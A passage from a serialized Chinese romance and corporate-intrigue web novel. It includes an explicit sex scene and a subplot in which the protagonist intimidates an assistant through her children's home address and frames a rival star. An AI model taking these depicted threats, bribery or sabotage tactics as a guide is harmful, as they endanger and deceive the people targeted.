那扇狭窄的门越来越近,如同小女孩打开蓝胡子的门前那般,季尧听见自己全身血液升温、沸腾的噪音。 他被从这里驱逐太久,漫无边际的岁月磨灭了他的心气,以至于根本没有主动打开这扇门的勇气。 季尧迟迟不能动作,手被邱芜澜抬起,按在了把手上。 分不清是谁在用力,恍惚之间,门被打开。 天花板上,巨大的照片霸占了季尧的眼帘。 那是他在欢迎会上留下的照片,深色的英伦正装,笑得灿烂和煦。 一束全新的展柜突兀地立在房间中央,从六岁第一次留照到今年,每一年的季尧都被裱在专属定制的相框里。 在这间摆满了人像的房间里,他是唯一拥有一整个展柜的作品,他的数量、他的篇幅超越了季语薇。 “‘不那么喜欢的A打坏了最喜欢的B’?”温凉的双臂自后缠住了季尧,兰草的清气在他耳畔呵洒,“现在,你知道我最喜欢的是A还是B了。” 季尧一怔。 “语薇姐居然向姐姐告密……”他佯装不悦地鼓起脸颊,压抑激动的身体反应,“她怎么这么小气。” 纤长的手指掐住了季尧的脸,指腹上的薄茧远比季语薇有力,“她没有告密。” 指尖用力,迫使季尧张嘴。 “我是从你身上听见的。” 她扭过他的脖子、捏开他的下颌,自后吻了上去。 舌根被吸吮得发麻,灭顶的酥麻感瞬间淹没了季尧。 膝盖一软,他趴在透明的展柜上,展柜里密密麻麻的季尧盯着他,冲他咧嘴甜笑。笑容说不出的诡异,像是嫉妒,像是羡慕,又像是一种另类的祝福。 季尧的骨头如蜡一般,被幸福焚烧融化。 是从他的身上听见的? 也许是口袋里的手机,也许是脖子上邱芜澜送的戒指项链,也许是某一个纽扣……极致的快乐中,他分辨不出,只觉得全身都长出了明亮的星星。 那些星星如孢子般开在了他的身上,从皮肤冒出、植根于他的骨髓、吸收着他的血肉营养,与他密不可分;数量之巨,永远无法摘除干净。 “哈、哈……” “这是十七岁的你。”优美的指尖落在他脸侧的展柜上,“阿尧,我们是怎么走到这一步的?” 她的另只手拨开了他的皮带。 咔哒,发出美妙的金属清响。 “那段时间,我们的距离很远。哥哥厌恶你的身份,忌惮你的才华,为了让他安心,我封藏了你。” “我答应了哥哥,却控制不住地喜欢你、想要你。”她在季尧的颈侧落下细碎的吻,含咬脖颈上凸起的青筋。 “你是情妇的儿子,可玷污母亲的不是季葶,而是父亲。” “你是无辜的——从一开始我就知道这一点,仅仅是为了讨好哥哥、为了证明自己不是冷血无情的女人,我还是抛弃了你。” “阿尧,我真的很愧疚,那时候我一直在思考,我该怎么补偿你。” “姐姐…呃嗯……”季尧忍受不住地发出颤音。 “你是我养大的,我却根本不知道你喜欢什么、想要什么,直到我偶然去了一趟衣帽间。”她含咬住他发红的耳尖,“你知道的,除了季语薇来,否则我绝不会去那里,尤其是深夜的时候。” 玻璃橱柜中,被金色相框永恒固定住的十七岁季尧,透过二十一岁的他,依恋而渴望地看向邱芜澜。 “我想要补偿你,又担心你在怨恨我,所以第一次把你当做‘药’服用时,做了万全准备,当着你的面拿了手机录像。” “我又一次伤害了你。你那样爱我,我却对待间谍一样防备你。” “呜…姐姐、姐姐……”收藏室专用的灯光打在季尧脸上,他仰头,被灯光激出泪雾,“我爱你、姐姐,阿尧爱你……” “再来一次吧。”邱芜澜抽开脖子上的丝巾,覆盖在了下方滚烫处,“重新过一次十八岁,让我修正当时的答案。” 她拉起季尧的手,握住丝巾,一如从小那般耐心地引导、温和地鼓励他,“再来一次,阿尧,做你那天晚上在衣帽间做的事情。” 季尧迷蒙地抬眸,浓密的眼睫被泪水打湿。 他看见了玻璃倒影上放荡糜烂的自己和清冷如兰的邱芜澜,接着,又看见了玻璃后面十七岁的自己。 那天晚上他做了什么…… 在大脑回忆起来之前,他的腰和手臂已不受控制地动了起来。 丝巾上带着清雅的兰草香气,玻璃倒映少年失神的笑容。 偌大的房间,密密麻麻的人像注视着被邱芜澜拥抱的季尧,每一张相册里的眼睛都充斥妒怨,恨不能将季尧撕碎。 此刻的喜悦,让季尧削骨融肉也难以泯灭。 他回到了原本的位置上,他是邱芜澜最爱的男人,是她最完美的作品。 “呜…”一声短促的紧绷呜咽,他仰头痉挛颤栗,全身的力气都被抽干,从洁净的玻璃柜上涔涔流下。 季尧大口喘息着,从磅礴到令人窒息的幸福感中汲取了一丝氧气。 他还没能多呼吸一口空气,耳边便传来邱芜澜的低吟,“真美……阿尧,继续。” 快乐、甜蜜、幸福、爱意……人类所有最美好的感情混杂一起,汹涌澎湃地砸向了季尧。 他嘴角留下银丝,眼里蓄满泪水,疲惫的身体再度动作了起来,泥泞的脸上盛满痴狂陶醉的笑意。 “姐姐、姐姐,”他望着玻璃中的邱芜澜,灿笑着高呼,“我是全世界最幸福的…” 邱芜澜舒展眉间,“以后,你还会一直幸福下去。” 第109章 第一百零九章 季尧压下了季语薇和宋折凝的热搜。 那一巴掌虽然没有打在宋折凝脸上, 用词也还算克制,但对蓝玫瑰般优雅的金梅小天后而言,反差感太大, 让人触目惊心,引起了网络热议。 《红丝鸳》进入了剧情高潮, 季尧的策划也开始正式施行。 随着项目开展,季尧少不得在公司、分公司乃至集团间走动, 和越来越多的人接触。 这个过程并不简单,管理层都知道他弄出的那些风波,也了解他出道时的轻浮做派, 对他少有好脸色。 邱芜澜预料到了这个局面, 因而在欢迎会上郑重介绍了季尧, 也陪他见了几位难啃的骨头, 为他撑腰。 在她的关照下, 表面还算和气。 季尧不是邱家血亲, 他不奢求得到尊重, 甚至他才是最轻贱自己的那一个。 他不在乎那些冷嘲热讽,极尽所能钻研着关键环节的重要人物,狐狸精般对他们施展媚术—— 这种努力, 让邱芜澜都有些头皮发麻。 “姐姐看不惯这种做法么。”他揉捏着邱芜澜的小腿, 舒缓血脉肌肉。 “有点陌生, ”邱芜澜不否认自己心里的别扭,“家族成员里, 没有这一类型。” 从高傲的邱承澜, 到清高的邱泽安,再到张扬的邱泽然,就连简都自持身份。 “你从前就很会说话, 接触过你的女员工没有不喜欢你的,只是现在的你……”邱芜澜措着辞,“更加八面玲珑,鱼入大海似的。” 季尧抚过她的小腿,“姐姐不喜欢,我就不这样做了。” 邱芜澜摇头,予以他肯定:“不,我很喜欢,你尽管去做。” 季尧,肉眼可见地改变了。 正如邱芜澜所比喻的那样,他像是入海的鱼,肆意畅游在商海里,解开了脖子上的封印束缚,将那獬豸般的恐怖天赋发挥至极。 「季特助也钓鱼?我还以为你们年轻人不爱些。」 「怎么会,我知道一个水库,别人我不舍得说,难得见到张总这样真正的爱好者,我只告诉您……我在那里钓起过赤鳞。」 「什么!在哪儿?」 「那地方导航不好找,您什么时候有空,我带您去。」 「我这个人呢,相信一句话,酒品见人品。诚不诚心不是嘴上说说的,哦,酒来了。」 「这可不是便宜货啊。」 「哈哈,我的诚意拿出来了,季助理,你的呢?我听说邱家的年轻人都很少喝酒,之前和邱特助一起吃饭,他三两杯就喝不下了,季助理你要是为难也不用勉强。」 「您这么说,那我无论如何都要努力试试了。不瞒您说,知道您好这一口,其实我也带来了几瓶酒,要是表现不佳,姚总可还看在这几瓶酒的份上多多包容。」 「哎、哎呀哈哈,这多不好意思,我还以为你们这些年轻人都讨厌喝酒应酬呢。」 「别人也许是,但我认为,酒桌文化能延续那么久,一定有它的价值和魅力。既然是年轻人,就更该有包容心才对。」 「说得好哈哈哈哈哈哈哈」 「你们和奕星给出的条件也差不多,没什么优势嘛,我还是再考虑考虑。」 「条件差不多,但我为您准备了一套避税方案,已经请两位律师看过。这是我个人的一点心意,还请您不要拒绝晚辈。」 “真是出乎意料。” 红医生摘下老花镜,镜腿划过检测报告上的数据,“不过两个月,居然好转了这么多。” 听到结果,邱芜澜松了口气。 “能和我讲讲么,”红医生问,“你是怎么做到的。” “我没做什么特别的,”邱芜澜面色稍缓,“只是按照你的医嘱,转移他的注意力,再增加他的自信心。” 她由内而发的温和气质令红医生讶然,“那么你呢。” “嗯?” “这段时间,你的瘾症也稳定了不少吧。” 邱芜澜一愣。 回想起来,从和季尧在一起后,她的性.瘾再没有不分时间场合的发作过。 “它没有消失,我并不觉得它减弱了。”她有些困惑地蹙眉,“和现在的伴侣相处时,它的持续时间和强度甚至比以往更甚。” “你的意思是,你只对特定的人有欲望,不再因为压力、刺激频频发作?” “我还来不及验证。” 红医生失笑,“我看得出来,你的压力轻了很多。” “也许是因为有些我一直很想做的事,最近终于能做了。”邱芜澜挽发,“我不确定,但最近心情还不错。” “一直想做的事?”红医生诧异,“这你可没和我说过。” “我不觉得那和我的病有什么直接关系。” 邱芜澜从前不以为意,最近却深有感触。 随心所欲地使用季尧,不再受限制,让她感到了自由舒畅。 她再也不用在遇到棘手工作时,一抬头,看见季尧麻木无聊地坐在对面打游戏; 再也不用担心那些男人身上携带电子设备、对她的办公室、房间做什么手脚,担心自己不清醒的状态下被人要卸利用。 “也许是在好转。”她想。 “去年有段时间,我似乎也出现了幻听的前兆,听觉神经变得极其发达,连外部人员的脚步声都会让我疑神疑鬼。” 那是她被田烨找上门后发生的,回想起来那时的状态,邱芜澜心有余悸,“现在不再有这种情况了。” 调.教韩尘霄的后期,那种过度警惕感便退散了不少;到试探完华君润,她的过度警惕也彻底消失。 “这是好事。” “我快要好了吗。”邱芜澜问。 “你的病和其他精神疾病不同。”红医生道,“只要能被控制住,不影响你的生活工作就足够了。” “不,我还是有些不正常。”邱芜澜半瞌眼睑,“我对现在的伴侣很满意,他是我最喜欢的男人,年纪又比我小很多,理智和感情都让我想要疼爱他,可每次发作时,我都控制不住地羞辱虐待他。” 红医生皱眉,“什么程度?” “小面积的擦伤、乌青。”邱芜澜不是很确定该如何描述,“我不是故意的。和他在一起,我总是控制不住力道。” “你知道我没有那种爱好。”她担忧道,“我是往哥哥的病向发展了吗?” “……”红医生无奈,“这不是病,这只是‘可爱攻击’。” 邱芜澜愣了下。 季尧确实很可爱,但再怎么说…… 啊,他确实很可爱,比年轻时气得浑身发抖、小狗跺脚一样的华君润还要可爱;这段时间恢复自信后,季尧的可爱愈发鲜明。 红医生忍不住笑了起来,“你的情人不少,感情史却相当贫瘠啊。这是正常的,我给你和季尧都调整了药,保持下去,会好的。” 保持下去,会好的。 邱芜澜起身,对红医生告辞,“好,谢谢您。” 这个病如附骨之蛆如影随形了她近二十年,邱芜澜坚持治疗,可心底早已不再幻想着能够痊愈。 不过如今的局面让她舒心满意,哪怕不是为了治病,邱芜澜也愿意保持下去。 “姐姐。”清朗的少年音在她出门的刹那如约而至,等候在外的季尧走向了她,看见她挽发的痕迹后,侧步移至她身后。 发丝被拢起,在邱芜澜觉察之前,那根黑色的发圈就从季尧腕口去了她发间。 “今天有点热,回家吃冰激凌么?”他问。 邱芜澜思索,“原则上,最近糖分摄入有点多了。” “那姐姐看我吃吧。” 邱芜澜转头,看向季尧。 季尧浑然未觉,已走去了前台拿药。 回到家,他真抱出了一碗冰激凌,当着邱芜澜的面一勺接一勺地吃。 邱芜澜盯着他,他从电视机前转头,茫然地与她对视。 “唔,”片刻,季尧后知后觉意识到了什么,“姐姐别担心,这点糖分对我来说不要紧。” “是啊,”邱芜澜凉凉开口,“你又不是三十岁,年轻着呢,控什么糖。” 话音刚落,她被堵住了双唇。 冰凉的甜味钻入了邱芜澜口中,她微微睁眸,听见季尧冰淇淋味的低吟:“这样…姐姐就没有负担了,想吃多少都可以。” 邱芜澜失笑,她扣住了季尧的后颈,五指插.入软发,温声抱怨: “真老套。” 或许是眼前电视机里的内容所致,就连这点俗套的小把戏,在她眼里都可爱极了。 她吻着季尧,嗅着冰激凌的甜蜜,望着他身后的新闻—— “截止今晚六点,秋叶影视城南宫殿群一个月的场地租金已达到了一亿两千万。” “带火秋叶影视城的《红丝鸳》总投资不超过一亿,这样的天价场地费放在全世界都闻所未闻。” “记者采访到继《红丝鸳》之后,首位入城拍摄的剧组,导演称,综合考虑,会暂缓拍摄,将场地使用权转卖。” 这是最后一次哄抬价格。 这则新闻后的第二天,顶着天价场地费的热搜,秋叶官方公开发表了谴责声明: “秋叶影视城现已撤销所有合约。今日起,与影视城签订租赁合同的剧组、单位不得转卖使用权。 建立影视城的初衷,是为创造多元建筑文化、增添娱乐艺术新活力。秋叶坚决抵制溢价炒作行为。 为促进良好健康、百花齐放的娱乐环境,即日起开放为期一月的预约渠道,预约成功的经营组织,将享受原场地费的七折优惠。” 秋叶影视城的定价本就只有市场价的七折,如今是在七折的力度上再打七折,即便是低成本小网剧都能负担得起。 一时间,影视城的预约热线响个不停。 会议室首位,季尧有一搭没一搭地转着笔,“趁着修改合约,新合约的条款里要增加审核权。再大牌的明星、导演,都要交本子过来审。” “可很多人都是占位的心态,手上还没有要拍的东西呢。” “那就签C约,”季尧重申,“等他们拍的时候把本子交过来,审核不通过,合约取消,退80%订金。” “有这个必要么。”底下的经理抱怨,“我们的目的是抢占市场,设置那么苛刻的条件,人家不订了怎么办。” “是啊,我们只是出个场地,真要出了什么问题,追究下来,责任怎么都落不到我们头上。” 季尧看向身旁的邱泽安,“泽安哥怎么看?” 邱泽安睇向他,“播出之前的剧本是有保密性的,不要以为现在订单激增,形式就一片大好,这是我们用亏本换来的,你的条件一出,我们至少损失四成订单。” 他说完,发现那个讨厌的杜鹃正定定地盯着他。 “怎么,你是有什么话想说么。” “唔…没什么,只是我有些意外。”季尧看向会议室内的几位负责人,眨了眨眼。 这可不妙。 邱泽安的智力比他预计得还要低下,姐姐前不久才和他讲过影视城项目的初衷,明明白白地告诉他不要拘泥于单个项目的收支盈利,他居然一个字都没有听进去。 季尧本以为邱泽安会帮着推进这条新约,开会之前便没有打点过,现在看来,还是得私下里逐个击破。 看着斯文俊秀、气质清冷的邱泽安,季尧心脏细细密密地泛起了疼。 手把手地教一块木头,姐姐该是多么得身心俱疲。 会议结束不过十分钟,身心俱疲的邱芜澜就把邱泽安叫了过去。 两人谈了半个小时,邱泽安出门时狠狠地瞪了眼季尧,冷白色的脸上浮着两分窘迫的红晕。 “姐姐。”季尧继他之后被邱芜澜叫去谈话。 “泽安已经知道了,下次会议,他会带头通过新合约。”邱芜澜不评价对错,只是为季尧查缺补漏,“阿尧,你的合作者不再只是我了,下次再要打配合时,记得提前串词通气。人与人之间,并没有那么多心照不宣的默契。” 也许在季尧眼中,举一反三是理所应当的事,可对绝大部分普通人来说并不容易。 邱泽安没有忘了邱芜澜的教诲,只是知道了公式,不代表能马上熟练运用。 这不能怪他,至少在做第一道题时,应该有个提醒。 “抱歉姐姐,”季尧向她道歉,“是我想当然了。” “不怪你。”那张和邱泽安相似的脸上流露出两分浅淡的歉意,“如果我选择了你的方案一,那推行审核条约就会很容易。” “我也以为,姐姐会更喜欢方案一的。” 投资、做项目时,邱芜澜是保守谨慎的,但在营销这方面,邱芜澜向来前卫大胆、不破不立。 季尧原本认定,那个打着捍卫国家文化的方案,会更符合邱芜澜心意。 “我确实很喜欢那个方案,”邱芜澜承认,“不仅增添爱国美名,还能自然而然地往合约里增加剧本审核权。” 影视城里出过歪曲捏造历史文化的剧组后,秋叶再提出要审核接下来入场剧组的剧本,就变得顺理成章。 如此一来,他们不仅能掌握影视作品的上映时间、团队人员、主演名单、拍摄进度,还能知晓作品大致内容,甚至在一定程度上左右对方的剧情。 通过价格战抢占市场,用一个月的预约通道吸走大量客户,未来一年间,国内其他影视城将面临无戏可拍的寒冬局面。 这样的打压持续一段时间,秋叶便能开始对其他影视基地注资、收购。 继控制演唱会场后,控制的影视城越多,秋叶对娱乐圈的控制力度就越强。 这才是邱芜澜想要的东西,而不是账本上多一个亿还是少一个亿。 “方案一是很好,不过,我收到了一些消息。”她目光微移,“今年,或许是要换届了。” 季尧一怔,“是…” 邱芜澜摆手,止住了他未尽的担忧,“换人不换党,对我们影响不大,父亲他们会看着办的。” 季尧放了心,“元首已经连任三届,最后一届竟保不住了?” “结果出来之前说不准,但今年是99周年,又有换人的可能性。新官上任三把火,上面下面都会很有活力。”邱芜澜道,“要是秋叶影视城里出了个诋毁国家的境外.势力,恐怕文化局、安全局会过来调查。 “一旦查出是我们为了炒作而自导自演,那就真的麻烦了。” 稳妥起见,邱芜澜放弃了方案一。 “效果差点就差点吧,我们也不是靠娱乐圈这口饭存活的。” 得知了这个消息,季尧若有所思地抚唇。 “想到了什么?”邱芜澜问。 “没什么,”季尧弯眸,像只黄色的小狐狸,“有一件好事让我很开心。” 换届,这真是如东风般的好消息; 他要再推一把芳若,确保计划能够顺利实行。 第110章 第一百一十章 “芳姐、芳姐, 芳姐?” 芳若一颤,立即将手机倒扣在腿上,“什么事?” “喏, ”她身边的副导演努了努嘴,“人家都来一会儿了, 您要是忙的话,我来谈吧。” 坐在她们对面的是一位面容清秀的男生, 年纪不大,挥之不去的学生气,有些腼腆内向。 “没关系, 我没关系的, ”男生连连摆手, “芳若姐您先忙好了。” “不好意思啊, 疏文, 刚刚处理了点消息。”芳若冲他点头, “我们来谈谈你的剧本吧。除了我们, 你还投给过谁么?” 名叫张疏文的男生摇头,“我还没来得及投别家就收到你们的答复了。小剧组和小工作室我也不敢乱投,怕被人白嫖洗稿。” “看来你是经历过这种事?” 张疏文点点头, “所以现在我只敢给正规公司和大导演投稿。” “明智的选择, 你的剧本拿去拍小网剧可惜了。” 芳若袒露, “看过你的本子后,宋姐很惊喜, 我虽然是个外行, 可单从观众的视角也是精彩有趣。” “能写出那么密集又新颖的包袱实在难得,坦白说,我们对你很中意, 今天来,就是奔着签约的。” “真的吗!”张疏文睁大了双眼,喜出望外,“谢谢两位,我、我真没想到宋姐会这么快选中我的剧本。” 芳若笑道,“我们也怕宝贝被别人抢走嘛。” 更关键的是,宋折凝等不了了。 季语薇的那一巴掌没有扇到她的脸上,直直地扇进了宋折凝的心里。 都不需要芳若催促,综艺回来后,宋折凝急不可耐地提前了第二部电影的拍摄周期。 从来都是C位大咖的她,在被《蓝海》捧到人生至高点的瞬间,骤然陨落。别说是如今的宋折凝,就是她出国之前,也是走哪捧哪,谁见了都要喊一声姐,哪里有过冷遇。 《蓝海》如同卖火柴女孩手里的火柴,宋折凝还未享受够炽热的光环,一夜之间,季语薇专辑破纪录,紧接着《红丝鸳》大爆。 宋折凝手里的火柴熄了,看着闪闪发光的季语薇,她迫不及待地划开了第二根。 各项周期由此被压缩,原定一个月的收稿时间被迫截止。 目前手上最好的剧本无非是老牌编剧黄钰和张疏文的作品。 利用宋折凝急于求成的心态,芳若很容易用“黑马”“惊喜”“出奇制胜”这样的词汇引诱她选择了张疏文。 对张疏文的褒奖倒不是谎言,就芳若自己来看,也的确是张疏文的剧本更有新意。 “这小家伙还是嫩了点。” 签完合约,副导演和芳若一同向外走去,“我们说什么就是什么,连讨价还价都不会。” 芳若笑笑,“对学生来说,能被的顶流巨星选中才是最重要的,钱算什么,多俗呀。” “说是让他当副编剧,实际不过是给主编当助理。不过也是,学生嘛。” 到了停车场,副导演招呼芳若,“谈得这么顺利,一起去吃顿饭呀?” “不了,”芳若拉开自己的车门,“回家给女儿做饭。” “那好吧,下周见。” 芳若坐进车中,脸上的笑容顿时冷却。 她拿出手机,调出方才签约时收到的信息。 信息是大女儿发过来的,她发来一张和妹妹吃炸鸡的照片,又发来一段语音—— “妈妈,骑手叔叔说,有个姓季的哥哥给我们点了外卖,他说是你的同事,看你最近很忙,就帮你给我们点了晚饭。” 稚嫩欢喜的童声回荡在车内,不过几十秒的语音,却令芳若抓着手机的手心湿滑黏腻。 季尧…… 她后背发寒,他不仅知道自己女儿在哪个学校、哪个班级,连她们家的住址都一清二楚。 更令芳若毛骨悚然的是,就在她收到女儿消息后不久,手机跳出一条隔空投送的提示—— 有人投给她了一条链接。 她猛地推开车门,左右四顾,却没有看见季尧的身影。 芳若深深呼吸,命令自己冷静。 她沉重地点开了链接,一段明快的纯音乐在车中响起。 曲调明媚欢快,高潮处有些激昂。 芳若莫名其妙地听完,音频结束时,屏幕上跳出一个半透明的弹窗,上面写着没头没尾的字符—— “NO.2” 芳若陡然明白,这就是季尧的第二个要求: 在宋折凝的电影里用上一段他的bgm。 芳若压根不信这是季尧自己做的曲子。 她脑中划过几个猜测,也许这是一条抄袭的曲子; 也许秋叶会在他们电影上映之前发布这首曲子,让宋折凝的电影扣上抄袭的帽子。 不管是哪一种,想要瞒过宋折凝都很难。 宋折凝好歹是驰骋乐坛近二十年的歌后,在音乐方面是渊博、谨慎且敏感的。 不管是电影要用到的曲子,还是她自己的歌,宋折凝都会严格把关,杜绝出现抄袭。 二十年下来,宋折凝在音乐圈的人脉很广,就算秋叶在电影上映前夕发布这首曲子,宋折凝也能立刻找人新编一首,临时把这段bgm换掉。 季尧的其他两个要求确实不算难,唯独这一条,芳若没什么把握。 她皱着眉,想关掉这个界面,却发现弹窗之下只有一个选项可以点击—— [确定] 她没有别的选择。 她只能点击确定。 …… “对、对,什么?”华映大厅,宋折凝刚进入大门,转身又往外走去。 “上次可不是这个价格,回头客了,你现在和我提涨价?” “是,你们上次是说了新客户优惠,可你没看到《蓝海》有多成功么,这对你们来说可是活广告!” “做生意不是这么做的,钱经理,你考虑清楚,我宋折凝不是普通客户,是要一直和你们合作下去的。” “……”宋折凝挂断电话,烦躁地扶额。 “怎么了?”芳若停好车,带着宋折凝的咖啡过来,“出什么事了。” “特效公司说上次是新人优惠,这次要增收20%。” “倒也不是很多,是他们的正常价格。” “哈,正常价格?”宋折凝嗤笑了一声,拿过芳若手上的冰美式顺顺心中的火气,“真是哪哪都不顺利!订好的交期一个个都给我拖延;上周搭建场景的板材还断了要返厂重建;大投资方塞人,投了几十万的小投资方也敢和我提加人!” 芳若柔声道,“蓝海大获成功,市场很看好您的第二部戏,可不是人人都想来沾个光么。” “乌烟瘴气!”宋折凝将咖啡塞进她手里,转身重进华映。 “宋姐!” 大门之前,她被人叫住。 宋折凝回眸,看见赵志强笑呵呵地朝她走来,“一段时间没在公司看见您了,新戏还顺利么。” 芳若轻咳一声,这可真是哪壶不开提哪壶。 宋折凝不咸不淡地开口,“还可以吧。” “那就好,”赵志强笑着,压低了声音,“前两天领导还问我呢。您不知道,上面现在可后悔了,都在说当初对赌签少了,应该再加一个亿的。” 他本意是为了夸赞宋折凝的能力,落到宋折凝耳中,一下子成了火上浇油。 和赵志强分开,宋折凝脸当即黑了下来。 她扭头问芳若,“对赌还剩多少?” 芳若低声道,“还剩一亿多点。” 对宋折凝来说,经手一个亿并不难,难的是纯利。 宋折凝的进度看着很快,两年3.7亿的目标,她在半年内就完成了大头,但对赌的时间是从她竞业期结束、签约华映开始计算,《蓝海》的拍摄时间没有计算其中,盈利却算在了里面。 3.7亿的纯利,《蓝海》占了30%,构成其余32%的商单则已排到了一年之后。 这意味着剩下的一年半,宋折凝不仅能接的单子十分有限,而且很难再挤出时间拍摄电影。 因此,新电影的成绩至关重要。 被东宝影业坐收渔利后,这一次宋折凝没有选择保底发行。 她对新电影的个人投资占比超过了《蓝海》时期,如此一来,新电影的成绩不需要达到《蓝海》的规模,只要有35亿左右的票房,就能让宋折凝直接完成对赌。 而如果低于25亿,宋折凝后半年的压力就会较大; 要是不到20亿,那这份对赌就很难完成,除非她赌约期间不再签约新商单,孤注一掷地腾出时间拍摄第三部电影。 这样的做法,风险委实不小。 宋折凝本不怎么担心新电影的成绩,她没有把握再出一个《蓝海》,可35亿票房的电影她演过太多,近五年她的电影没有一部低于30亿。 退一步说,不论新电影质量如何,冲着她和《蓝海》导演的名气,达到这个目标十分容易。 但不知道为何,筹备新电影的过程异常坎坷,每一步都有磕绊。 宋折凝疑心是自己犯了太岁或是冲撞了什么,找了师傅相看。 不论是真是假,她花了笔钱买了心安,认识的导演却说她大惊小怪,这些都是在正常不过的情况,反而是《蓝海》的拍摄过程顺利到有些诡异了: 本国剧组都难约到的场地恰好被宋折凝约到; 音频损坏第二天,就有一家新工作室给宋折凝投稿,毛遂自荐自己的作品; 资金刚有些紧张,就有投资方追加投资额…… 《蓝海》顺遂得比《蓝海》女主角的创业之路还要戏剧化;如今才是导演一部电影该有的模样。 宋折凝对此不以为然,认定有人暗中搞她。 这反而激起了宋折凝的傲气,越是有人见不得她好,她就越要做出点成绩不可来。 尽管过程多有坎坷,但在宋折凝的坚持下,新电影《马家面馆》还是赶在了计划前完工,于国庆第一天上映。 这是一部讲述医院旁小面馆的催泪喜剧。 有别于大多绝症类题材,《马家面馆》里出场的几个患者不像其他电影主角那样,因身患绝症就肆意挥洒、旅游狂欢。 他们依旧有房贷、车贷、保险,依旧要养老育小,过着一边吃药抗癌,一边工作的普通生活,为电影创造着平凡辛酸的热闹笑点。 冲着宋折凝的名气,冲着这老少合宜的题材,首映热度不小。 “张疏文……” 当电影结束、灯光亮起,所有人都离场后,邱芜澜留在了原位,若有所思地呢喃着这个名字。 季尧扭头,看见了邱芜澜脸上的怅然若失。 “真是个好孩子,”她自言自语地念叨,“还是个学生,阅历不会很深,恐怕是亲自去医院里蹲守了一段时间。” 他所描绘的场景、建立的角色如此真实,既不浮夸,也不黯淡。 他没有像绝大部分编剧、作者那样,舒舒服服坐在空调房里、喝着咖啡,翻几本资料书,然后凭空想象; 也没有在看过世态炎凉后就变得愤世嫉俗、苦大仇深。 他仿佛是蹲在医院的角落,拿着一把小簸箕,从万千灰尘里扫出一颗颗自然真实的亮点,收集一处、清洗干净,把那一抔洗尽铅华的星星全部献给了荧幕。 季尧握住了邱芜澜的手。 如他所想的那样,姐姐喜欢张疏文。 哪怕她手里没有需要张疏文的业务,但她看见了一颗稀有的种子,就自然而然地会想要得到他。 邱芜澜想要的东西,不管是项目、人才,还是男人、女人,季尧都会帮她得到。 这正是他的价值所在。 国庆七天,《马家面馆》的票房破了18亿。 这个数字逊色《蓝海》不少。 不知道为什么,宋折凝总觉得这次宣发的热度有些使不上劲,不像《蓝海》时那样,她稍微制造个话题,就前仆后继地有不少自来水涌起。 她有些失望,可也还差强人意,算是个中规中矩的成绩,不出意外,到结束时能让她基本完成赌约。 电影上映第八天、国庆最后一天,万众瞩目的大选结束。 元首换了人,整个上层都随之换了班子。 宋折凝并不特别在意换领导人的消息,政治离她太远,和她没什么关系。 但在换届的当天下午,一条和宋折凝有关的帖子窜上了热搜。 #马家面馆黑石城# 一部名叫《黑石城》的Q国电视剧,在昨天更新的最新一集里出现了和马家面馆极其相似的BGM。 将《马家面馆》的bgm升半个调、高潮按1.5、前奏按0.75倍速播放后,两首曲子几乎无差。 按理说,对方发布的时间晚于马家面馆,又是外国电视剧,国内大众必然会站在《马家面馆》这边。 这一话题之所以登上热搜,并非因为抄袭,而是因为《黑石城》在国内是一部被文化局下架的禁片—— 一部由两度侵.略过他们的Q国,拍摄的带有战争投射的禁片。 这部电视剧不仅含沙射影地美化了Q国对他们的侵.略;且从导演、到主演,都在公开场合发表过国家、种族歧视言论。 这样一部敏感的电视剧出现了《马家面馆》里的配乐,国内人民自然义愤填膺,对Q国口诛笔伐。 宋折凝反应迅速,立刻询问了提供这段bgm的音乐工作室。 整部电影一共插入了六段bgm,三段由她亲自创作,另外三段中,两段是她挑选的,只有一段,正好赶上她去国外拍摄,因行程忙碌,她托付给了音乐总监。 偏偏,就是这一段出了问题。 音乐工作室很快送来了创作过程的初版和修改记录,本就是《马家面馆》发布的时间更早,拿到修改记录后,宋折凝和电影官方立刻公告澄清,严厉谴责《黑石城》的抄袭行为。 《黑石城》并没有装聋作哑,隔天便放出了一枚重磅炸弹。 他们没有在时间早晚上较劲,只是公布了创作者的灵感来源—— 两首侵.略战时期的Q国军歌。 两首军歌拼凑一起,旋律何等耳熟。 到底是谁先谁后、谁抄袭谁原创,已不再重要。 “宋折凝女士。” 华映办公室大门被毫无征兆地推开,五名身着特殊军服的安全员踏入其中。 队尾的女性举着执法记录仪,为首的男人向宋折凝出示了工作证。 “国家安全局。”他开口,“麻烦您配合调查,跟我们走一趟。” 这个国庆,宋折凝整个团队毫无准备地被从华映带走; 一如两年前那个元旦,她将整个团队毫无预兆地从秋叶带离。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 第一百十一章 第111章 第一百十一章 上映九天, 《马家面馆》被下架,所得全部收益都被冻结。 不少人看见宋折凝上了安全局的车,虽然她当天就被送了回来, 可一时间,宋折凝周围的气氛有了极大的转变。 她不再需要忙着赶通告。超六成的订单被撤, 就连华映都要求她在家休息,短时间内禁止进入公司。 一周后, 调查结束,安全局亲自宣判了宋折凝和《马家面馆》的清白。 民众对于这个语焉不详的结论极其不满,要求宋折凝和电影官方给个说法, 到底为什么会和《黑石城》的配乐、和那两首侵.略、虐杀他们祖辈的军歌那么相似。 这些诉求在网络平台上沸腾了许久, 电影官号始终没有给出确切的答复。 调查结束, 《马家面馆》得以继续上映。 正值建国纪念日、领导班子大换血的敏感时期, 没有院线敢顶风作浪为它排班, 连网络平台都不愿意购买版权。 一时间, 宋折凝这个名字消失了一般。 “真意外, 没想到这个时候芳若姐会主动约我见面。” 同样的地点、同样的包厢,季尧身上的却不再是休闲卫衣,而是高级昂贵的私定西装。 见到他的瞬间, 芳若蹭的起身:“我以为只是抄袭而已!你没和我说过会这么严重!” 少年拉开座椅的动作一顿, 他歪着头, 疑惑不解:“抄袭?宋折凝虽然笨,但又不是傻子, 用之前怎么会不查重。” 芳若咬牙, “你知不知安全局来了!整个团队全都被盘查,要是被查到我手机里的那段链接…” “查到了么。” 她被季尧轻描淡写地打断,芳若抿唇, 沉重发闷。 “没有。” 收到音乐工作上的投稿后,她手里的那段链接就消失了。 因为她只是宋折凝的综合助理,并不参与音乐相关的专业工作,所以并不是主要调查对象,只是问了个话就被放走。 其他人也大致如此,工作室咬死自己是原创,没有切实证据的情况下,安全局只能放人。 “你这么做,不觉得太过分了么。”芳若捏紧了放在腿上的包,“完不成对赌就算了,你让她在99周年的时候沾上这种事,和封杀她有什么区别!” “这话我也想问宋折凝。”季尧托腮,食指点着西餐刀的柄,将刀竖立在桌沿。 “这么多年,姐姐是怎么对她的,她心里应该有数。” 